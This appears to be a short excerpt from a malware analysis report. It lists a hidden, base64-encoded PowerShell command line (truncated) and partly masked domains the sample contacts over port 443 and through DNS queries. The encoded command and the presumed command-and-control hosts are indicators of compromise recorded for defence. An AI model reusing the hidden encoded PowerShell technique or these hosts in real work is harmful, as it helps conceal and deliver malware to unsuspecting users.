Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -enco JABPAHgAYQBlAHEAdQB3AHUAeAA9ACcAQQB1AHUAaQBnAGIAZwBoAGwAJwA7ACQAQQBtAHIAbABxAHEAeQBtAHIAZwByACAAPQAgACcANwA1ADMAJwA7ACQAVgBsAG4AeQB3AGQAYgBuAGUAZQBvAHAAPQAnAEk...
- 'kh###lkutz.com':443
- 'ay###sual.com':443
- 'er###blanco.com':443
- DNS ASK kh###lkutz.com
- DNS ASK ay###sual.com
- DNS ASK au##op.app
- DNS ASK er###blanco.com
- DNS ASK wi###fiols.site